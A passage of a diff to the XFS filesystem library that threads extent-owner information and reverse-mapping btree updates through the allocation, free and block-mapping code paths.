args->len, args->owner); - if (error) - return error; + /* if not file data, insert new block into the reverse map btree */ + if (args->oinfo.oi_owner) { + error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, + args->agbno, args->len, &args->oinfo); + if (error) + return error; + } if (!args->wasfromfl) { error = xfs_alloc_update_counters(args->tp, args->pag, @@ -1661,6 +1663,7 @@ xfs_free_ag_extent( xfs_agnumber_t agno, /* allocation group number */ xfs_agblock_t bno, /* starting block number */ xfs_extlen_t len, /* length of extent */ + struct xfs_owner_info *oinfo, /* extent owner */ int isfl) /* set if is freelist blocks - no sb acctg */ { xfs_btree_cur_t *bno_cur; /* cursor for by-block btree */ @@ -1678,6 +1681,12 @@ xfs_free_ag_extent( xfs_extlen_t nlen; /* new length of freespace */ xfs_perag_t *pag; /* per allocation group data */ + if (oinfo->oi_owner) { + error = xfs_rmap_free(tp, agbp, agno, bno, len, oinfo); + if (error) + goto error0; + } + mp = tp->t_mountp; /* * Allocate and initialize a cursor for the by-block btree. @@ -2086,13 +2095,15 @@ xfs_alloc_fix_freelist( * back on the free list? Maybe we should only do this when space is * getting low or the AGFL is more than half full? */ + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); while (pag->pagf_flcount > need) { struct xfs_buf *bp; error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); if (error) goto out_agbp_relse; - error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, 1); + error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, + &targs.oinfo, 1); if (error) goto out_agbp_relse; bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); @@ -2102,7 +2113,7 @@ xfs_alloc_fix_freelist( memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; - targs.owner = XFS_RMAP_OWN_AG; + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; @@ -2361,6 +2372,10 @@ xfs_agf_verify( be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNT]) > XFS_BTREE_MAXLEVELS) return false; + if (xfs_sb_version_hasrmapbt(&mp->m_sb) && + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]) > XFS_BTREE_MAXLEVELS) + return false; + /* * during growfs operations, the perag is not fully initialised, * so we can't use it for any useful checking. growfs ensures we can't @@ -2491,6 +2506,8 @@ xfs_alloc_read_agf( be32_to_cpu(agf->agf_levels[XFS_BTNUM_BNOi]); pag->pagf_levels[XFS_BTNUM_CNTi] = be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNTi]); + pag->pagf_levels[XFS_BTNUM_RMAPi] = + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAPi]); spin_lock_init(&pag->pagb_lock); pag->pagb_count = 0; /* XXX: pagb_tree doesn't exist in userspace */ @@ -2733,14 +2750,13 @@ error0: * Free an extent. * Just break up the extent address and hand off to xfs_free_ag_extent * after fixing up the freelist. - * - * XXX: need owner of extent being freed */ int /* error */ xfs_free_extent( xfs_trans_t *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len) /* length of extent */ + xfs_extlen_t len, /* length of extent */ + struct xfs_owner_info *oinfo) /* extent owner */ { xfs_alloc_arg_t args; int error; @@ -2776,13 +2792,8 @@ xfs_free_extent( goto error0; } - /* XXX: need owner */ - error = xfs_rmap_free(tp, args.agbp, args.agno, args.agbno, len, 0); - if (error) - goto error0; - - /* XXX: initially no multiple references, so just free it */ - error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); + error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, + len, oinfo, 0); if (!error) xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); error0: diff --git a/libxfs/xfs_alloc.h b/libxfs/xfs_alloc.h index 5b2b616..f78ce53 100644 --- a/libxfs/xfs_alloc.h +++ b/libxfs/xfs_alloc.h @@ -87,7 +87,7 @@ typedef struct xfs_alloc_arg { char isfl; /* set if is freelist blocks - !acctg */ char userdata; /* set if this is user data */ xfs_fsblock_t firstblock; /* io first block allocated */ - uint64_t owner; /* owner of blocks being allocated */ + struct xfs_owner_info oinfo; /* owner of blocks being allocated */ } xfs_alloc_arg_t; /* @@ -179,7 +179,8 @@ int /* error */ xfs_free_extent( struct xfs_trans *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len); /* length of extent */ + xfs_extlen_t len, /* length of extent */ + struct xfs_owner_info *oinfo); /* extent owner */ int /* error */ xfs_alloc_lookup_le( diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 73fbdf0..14934eb 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -37,6 +37,7 @@ #include "xfs_trace.h" #include "xfs_attr_leaf.h" #include "xfs_quota_defs.h" +#include "xfs_rmap_btree.h" kmem_zone_t *xfs_bmap_free_item_zone; @@ -562,7 +563,8 @@ xfs_bmap_add_free( struct xfs_mount *mp, /* mount point structure */ struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ - xfs_filblks_t len) /* length of extent */ + xfs_filblks_t len, /* length of extent */ + struct xfs_owner_info *oinfo) /* extent owner */ { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -583,9 +585,14 @@ xfs_bmap_add_free( ASSERT(agbno + len <= mp->m_sb.sb_agblocks); #endif ASSERT(xfs_bmap_free_item_zone != NULL); + new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); new->xbfi_startblock = bno; new->xbfi_blockcount = (xfs_extlen_t)len; + if (oinfo) + memcpy(&new->xbfi_oinfo, oinfo, sizeof(struct xfs_owner_info)); + else + memset(&new->xbfi_oinfo, 0, sizeof(struct xfs_owner_info)); for (prev = NULL, cur = flist->xbf_first; cur != NULL; prev = cur, cur = cur->xbfi_next) { @@ -665,6 +672,7 @@ xfs_bmap_btree_to_extents( xfs_mount_t *mp; /* mount point structure */ __be64 *pp; /* ptr to block address */ struct xfs_btree_block *rblock;/* root btree block */ + struct xfs_owner_info oinfo; mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); @@ -688,7 +696,8 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1); + XFS_RMAP_INO_BMBT_OWNER(&oinfo, ip->i_ino, whichfork); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, &oinfo); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -769,7 +778,7 @@ xfs_bmap_extents_to_btree( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = mp; - args.owner = ip->i_ino; + XFS_RMAP_INO_BMBT_OWNER(&args.oinfo, ip->i_ino, whichfork); args.firstblock = *firstblock; if (*firstblock == NULLFSBLOCK) { args.type = XFS_ALLOCTYPE_START_BNO; @@ -916,7 +925,7 @@ xfs_bmap_local_to_extents( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = ip->i_mount; - args.owner = ip->i_ino; + XFS_RMAP_INO_OWNER(&args.oinfo, ip->i_ino, whichfork, 0); args.firstblock = *firstblock; /* * Allocate a block. We know we need only one, since the @@ -1845,6 +1854,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: @@ -1877,6 +1890,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -1908,6 +1925,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &RIGHT, &PREV, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: @@ -1937,6 +1958,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG: @@ -1972,6 +1997,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, new); + if (error) + goto done; da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), startblockval(PREV.br_startblock)); xfs_bmbt_set_startblock(ep, nullstartblock(da_new)); @@ -2007,6 +2036,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2055,6 +2088,8 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &RIGHT, new, new); da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), startblockval(PREV.br_startblock)); @@ -2091,6 +2126,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2160,6 +2199,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2255,7 +2298,8 @@ xfs_bmap_add_extent_unwritten_real( xfs_bmbt_irec_t *new, /* new data to add to file extents */ xfs_fsblock_t *first, /* pointer to firstblock variable */ xfs_bmap_free_t *flist, /* list of extents to be freed */ - int *logflagsp) /* inode logging flags */ + int *logflagsp, /* inode logging flags */ + struct xfs_btree_cur *rcur)/* rmap btree pointer */ { xfs_btree_cur_t *cur; /* btree cursor */ xfs_bmbt_rec_host_t *ep; /* extent entry for idx */ @@ -2401,6 +2445,10 @@ xfs_bmap_add_extent_unwritten_real( RIGHT.br_blockcount, LEFT.br_state))) goto done; } + error = xfs_rmap_combine(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: @@ -2438,6 +2486,10 @@ xfs_bmap_add_extent_unwritten_real( LEFT.br_state))) goto done; } + error = xfs_rmap_lcombine(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -2473,6 +2525,10 @@ xfs_bmap_add_extent_unwritten_real( newext))) goto done; } + error = xfs_rmap_rcombine(rcur, ip->i_ino, + XFS_DATA_FORK, &RIGHT, &PREV, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: @@ -2546,6 +2602,14 @@ xfs_bmap_add_extent_unwritten_real( if (error) goto done; } + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, -new->br_blockcount); + if (error) + goto done; break; case BMAP_LEFT_FILLING: @@ -2584,6 +2648,14 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -2626,6 +2698,14 @@ xfs_bmap_add_extent_unwritten_real( newext))) goto done; } + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, -new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &RIGHT, -new->br_blockcount); + if (error) + goto done; break; case BMAP_RIGHT_FILLING: @@ -2666,6 +2746,14 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, -new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case 0: @@ -2727,6 +2815,17 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_resize(rcur, ip->i_ino, XFS_DATA_FORK, &PREV, + new->br_startoff - PREV.br_startoff - + PREV.br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, new); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, &r[1]); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG | BMAP_RIGHT_CONTIG: @@ -2930,6 +3029,7 @@ xfs_bmap_add_extent_hole_real( int rval=0; /* return value (logging flags) */ int state; /* state bits, accessed thru macros */ struct xfs_mount *mp; + struct xfs_bmbt_irec prev; /* fake previous extent entry */ mp = bma->tp ? bma->tp->t_mountp : NULL; ifp = XFS_IFORK_PTR(bma->ip, whichfork); @@ -3037,6 +3137,12 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + prev = *new; + prev.br_startblock = nullstartblock(0); + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, + whichfork, &left, &right, &prev); + if (error) + goto done; break; case BMAP_LEFT_CONTIG: @@ -3069,6 +3175,10 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + error = xfs_rmap_resize(bma->rcur, bma->ip->i_ino, + whichfork, &left, new->br_blockcount); + if (error) + goto done; break; case BMAP_RIGHT_CONTIG: @@ -3103,6 +3213,10 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + error = xfs_rmap_move(bma->rcur, bma->ip->i_ino, + whichfork, &right, -new->br_blockcount); + if (error) + goto done; break; case 0: @@ -3131,6 +3245,10 @@ xfs_bmap_add_extent_hole_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + whichfork, new); + if (error) + goto done; break; } @@ -3697,7 +3815,6 @@ xfs_bmap_btalloc( memset(&args, 0, sizeof(args)); args.tp = ap->tp; args.mp = mp; - args.owner = ap->ip->i_ino; args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ @@ -4261,6 +4378,59 @@ xfs_bmapi_delay( return 0; } +static int +alloc_rcur( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_btree_cur **pcur, + xfs_fsblock_t fsblock) +{ + struct xfs_btree_cur *cur = *pcur; + struct xfs_buf *agbp; + int error; + xfs_agnumber_t agno; + + agno = XFS_FSB_TO_AGNO(mp, fsblock); + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + if (cur && cur->bc_private.a.agno == agno) + return 0; + if (isnullstartblock(fsblock)) + return 0; + + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + return error; + + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + if (!cur) { + xfs_trans_brelse(tp, agbp); + return -ENOMEM; + } + + *pcur = cur; + return 0; +} + +static void +free_rcur( + struct xfs_btree_cur **pcur, + int bt_error) +{ + struct xfs_btree_cur *cur = *pcur; + struct xfs_buf *agbp; + struct xfs_trans *tp; + + if (cur == NULL) + return; + + agbp = cur->bc_private.a.agbp; + tp = cur->bc_tp; + xfs_btree_del_cursor(cur, bt_error); + xfs_trans_brelse(tp, agbp); + + *pcur = NULL; +} static int xfs_bmapi_allocate( @@ -4353,6 +4523,10 @@ xfs_bmapi_allocate( xfs_sb_version_hasextflgbit(&mp->m_sb)) bma->got.br_state = XFS_EXT_UNWRITTEN; + error = alloc_rcur(mp, bma->tp, &bma->rcur, bma->got.br_startblock); + if (error) + return error; + if (bma->wasdel) error = xfs_bmap_add_extent_delay_real(bma); else @@ -4414,9 +4588,13 @@ xfs_bmapi_convert_unwritten( mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; + error = alloc_rcur(bma->ip->i_mount, bma->tp, &bma->rcur, mval->br_startblock); + if (error) + return error; + error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, &bma->cur, mval, bma->firstblock, bma->flist, - &tmp_logflags); + &tmp_logflags, bma->rcur); /* * Log the inode core unconditionally in the unwritten extent conversion * path because the conversion might not have done so (e.g., if the @@ -4618,6 +4796,7 @@ xfs_bmapi_write( } *nmap = n; + free_rcur(&bma.rcur, XFS_BTREE_NOERROR); /* * Transform from btree to extents, give it cur. */ @@ -4637,6 +4816,7 @@ xfs_bmapi_write( XFS_IFORK_MAXEXT(ip, whichfork)); error = 0; error0: + free_rcur(&bma.rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); /* * Log everything. Do this after conversion, there's no point in * logging the extent records if we've converted to btree format. @@ -4689,7 +4869,8 @@ xfs_bmap_del_extent( xfs_btree_cur_t *cur, /* if null, not a btree */ xfs_bmbt_irec_t *del, /* data to remove from extents */ int *logflagsp, /* inode logging flags */ - int whichfork) /* data or attr fork */ + int whichfork, /* data or attr fork */ + struct xfs_btree_cur *rcur) /* rmap btree */ { xfs_filblks_t da_new; /* new delay-alloc indirect blocks */ xfs_filblks_t da_old; /* old delay-alloc indirect blocks */ @@ -4787,6 +4968,7 @@ xfs_bmap_del_extent( nblks = 0; do_fx = 0; } + /* * Set flag value to use in switch statement. * Left-contig is 2, right-contig is 1. @@ -4806,6 +4988,9 @@ xfs_bmap_del_extent( XFS_IFORK_NEXT_SET(ip, whichfork, XFS_IFORK_NEXTENTS(ip, whichfork) - 1); flags |= XFS_ILOG_CORE; + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4833,6 +5018,10 @@ xfs_bmap_del_extent( } xfs_bmbt_set_startblock(ep, del_endblock); trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); + error = xfs_rmap_move(rcur, ip->i_ino, whichfork, + &got, del->br_blockcount); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4859,6 +5048,10 @@ xfs_bmap_del_extent( break; } trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, + &got, -del->br_blockcount); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4884,6 +5077,15 @@ xfs_bmap_del_extent( if (!delay) { new.br_startblock = del_endblock; flags |= XFS_ILOG_CORE; + error = xfs_rmap_resize(rcur, ip->i_ino, + whichfork, &got, + temp - got.br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + whichfork, &new); + if (error) + goto done; if (cur) { if ((error = xfs_bmbt_update(cur, got.br_startoff, @@ -4973,7 +5175,7 @@ xfs_bmap_del_extent( */ if (do_fx) xfs_bmap_add_free(mp, flist, del->br_startblock, - del->br_blockcount); + del->br_blockcount, NULL); /* * Adjust inode # blocks in the file. */ @@ -5036,6 +5238,7 @@ xfs_bunmapi( int wasdel; /* was a delayed alloc extent */ int whichfork; /* data or attribute fork */ xfs_fsblock_t sum; + struct xfs_btree_cur *rcur = NULL; /* rmap btree */ trace_xfs_bunmap(ip, bno, len, flags, _RET_IP_); @@ -5120,6 +5323,11 @@ xfs_bunmapi( got.br_startoff + got.br_blockcount - 1); if (bno < start) break; + + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); + if (error) + goto error0; + /* * Then deal with the (possibly delayed) allocated space * we found. @@ -5179,7 +5387,7 @@ xfs_bunmapi( del.br_state = XFS_EXT_UNWRITTEN; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &del, firstblock, flist, - &logflags); + &logflags, rcur); if (error) goto error0; goto nodelete; @@ -5237,7 +5445,8 @@ xfs_bunmapi( lastx--; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &prev, - firstblock, flist, &logflags); + firstblock, flist, &logflags, + rcur); if (error) goto error0; goto nodelete; @@ -5246,7 +5455,8 @@ xfs_bunmapi( del.br_state = XFS_EXT_UNWRITTEN; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &del, - firstblock, flist, &logflags); + firstblock, flist, &logflags, + rcur); if (error) goto error0; goto nodelete; @@ -5299,7 +5509,7 @@ xfs_bunmapi( goto error0; } error = xfs_bmap_del_extent(ip, tp, &lastx, flist, cur, &del, - &tmp_logflags, whichfork); + &tmp_logflags, whichfork, rcur); logflags |= tmp_logflags; if (error) goto error0; @@ -5323,6 +5533,7 @@ nodelete: } *done = bno == (xfs_fileoff_t)-1 || bno < start || lastx < 0; + free_rcur(&rcur, XFS_BTREE_NOERROR); /* * Convert to a btree if necessary. */ @@ -5350,6 +5561,7 @@ nodelete: */ error = 0; error0: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); /* * Log everything. Do this after conversion, there's no point in * logging the extent records if we've converted to btree format. @@ -5422,7 +5634,8 @@ xfs_bmse_merge( struct xfs_bmbt_rec_host *gotp, /* extent to shift */ struct xfs_bmbt_rec_host *leftp, /* preceding extent */ struct xfs_btree_cur *cur, - int *logflags) /* output */ + int *logflags, /* output */ + struct xfs_btree_cur *rcur) /* rmap btree */ { struct xfs_bmbt_irec got; struct xfs_bmbt_irec left; @@ -5453,6 +5666,13 @@ xfs_bmse_merge( XFS_IFORK_NEXT_SET(ip, whichfork, XFS_IFORK_NEXTENTS(ip, whichfork) - 1); *logflags |= XFS_ILOG_CORE; + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &left, + blockcount - left.br_blockcount); + if (error) + return error; + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); + if (error) + return error; if (!cur) { *logflags |= XFS_ILOG_DEXT; return 0; @@ -5495,7 +5715,8 @@ xfs_bmse_shift_one( struct xfs_bmbt_rec_host *gotp, struct xfs_btree_cur *cur, int *logflags, - enum shift_direction direction) + enum shift_direction direction, + struct xfs_btree_cur *rcur) { struct xfs_ifork *ifp; struct xfs_mount *mp; @@ -5545,7 +5766,7 @@ xfs_bmse_shift_one( offset_shift_fsb)) { return xfs_bmse_merge(ip, whichfork, offset_shift_fsb, *current_ext, gotp, adj_irecp, - cur, logflags); + cur, logflags, rcur); } } else { startoff = got.br_startoff + offset_shift_fsb; @@ -5582,6 +5803,10 @@ update_current_ext: (*current_ext)--; xfs_bmbt_set_startoff(gotp, startoff); *logflags |= XFS_ILOG_CORE; + error = xfs_rmap_slide(rcur, ip->i_ino, whichfork, + &got, startoff - got.br_startoff); + if (error) + return error; if (!cur) { *logflags |= XFS_ILOG_DEXT; return 0; @@ -5633,6 +5858,7 @@ xfs_bmap_shift_extents( int error = 0; int whichfork = XFS_DATA_FORK; int logflags = 0; + struct xfs_btree_cur *rcur = NULL; if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -5721,9 +5947,14 @@ xfs_bmap_shift_extents( } while (nexts++ < num_exts) { + xfs_bmbt_get_all(gotp, &got); + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); + if (error) + return error; + error = xfs_bmse_shift_one(ip, whichfork, offset_shift_fsb, ¤t_ext, gotp, cur, &logflags, - direction); + direction, rcur); if (error) goto del_cursor; /* @@ -5749,6 +5980,7 @@ xfs_bmap_shift_extents( } del_cursor: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); if (cur) xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); @@ -5785,6 +6017,7 @@ xfs_bmap_split_extent_at( int error = 0; int logflags = 0; int i = 0; + struct xfs_btree_cur *rcur = NULL; if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -5879,6 +6112,18 @@ xfs_bmap_split_extent_at( XFS_WANT_CORRUPTED_GOTO(mp, i == 1, del_cursor); } + /* update rmapbt */ + error = alloc_rcur(mp, tp, &rcur, new.br_startblock); + if (error) + goto del_cursor; + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &got, -gotblkcnt); + if (error) + goto del_cursor; + error = xfs_rmap_insert(rcur, ip->i_ino, whichfork, &new); + if (error) + goto del_cursor; + free_rcur(&rcur, XFS_BTREE_NOERROR); + /* * Convert to a btree if necessary. */ @@ -5892,6 +6137,8 @@ xfs_bmap_split_extent_at( } del_cursor: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + if (cur) { cur->bc_private.b.allocated = 0; xfs_btree_del_cursor(cur, diff --git a/libxfs/xfs_bmap.h b/libxfs/xfs_bmap.h index d3daf6d..da73d59 100644 --- a/libxfs/xfs_bmap.h +++ b/libxfs/xfs_bmap.h @@ -56,6 +56,7 @@ struct xfs_bmalloca { bool aeof; /* allocated space at eof */ bool conv; /* overwriting unwritten extents */ int flags; + struct xfs_btree_cur *rcur; /* rmap btree cursor */ }; /* @@ -66,6 +67,7 @@ typedef struct xfs_bmap_free_item { xfs_fsblock_t xbfi_startblock;/* starting fs block number */ xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ + struct xfs_owner_info xbfi_oinfo; /* extent owner */ struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ } xfs_bmap_free_item_t; @@ -183,7 +185,8 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); void xfs_bmap_add_free(struct xfs_mount *mp, struct xfs_bmap_free *flist, - xfs_fsblock_t bno, xfs_filblks_t len); + xfs_fsblock_t bno, xfs_filblks_t len, + struct xfs_owner_info *oinfo); void xfs_bmap_cancel(struct xfs_bmap_free *flist); int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, int *committed); diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index c928abf..02ebbae 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -443,7 +443,8 @@ xfs_bmbt_alloc_block( args.mp = cur->bc_mp; args.fsbno = cur->bc_private.b.firstblock; args.firstblock = args.fsbno; - args.owner = cur->bc_private.b.ip->i_ino; + XFS_RMAP_INO_BMBT_OWNER(&args.oinfo, cur->bc_private.b.ip->i_ino, + cur->bc_private.b.whichfork); if (args.fsbno == NULLFSBLOCK) { args.fsbno = be64_to_cpu(start->l); @@ -523,8 +524,10 @@ xfs_bmbt_free_block( struct xfs_inode *ip = cur->bc_private.b.ip; struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + struct xfs_owner_info oinfo; - xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1); + XFS_RMAP_INO_BMBT_OWNER(&oinfo, ip->i_ino, cur->bc_private.b.whichfork); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, &oinfo); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/libxfs/xfs_format.h b/libxfs/xfs_format.h index afa9885..ead7f30 100644 --- a/libxfs/xfs_format.h +++ b/libxfs/xfs_format.h @@ -1306,6 +1306,55 @@ typedef __be32 xfs_inobt_ptr_t; #define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ /* + * Ownership info for an extent. This is used to create reverse-mapping + * entries. + */ +#define XFS_RMAP_INO_ATTR_FORK (1) +#define XFS_RMAP_BMBT_BLOCK (2) +struct xfs_owner_info { + uint64_t oi_owner; + xfs_fileoff_t oi_offset; + unsigned int oi_flags; +}; + +static inline void +XFS_RMAP_AG_OWNER( + struct xfs_owner_info *oi, + uint64_t owner) +{ + 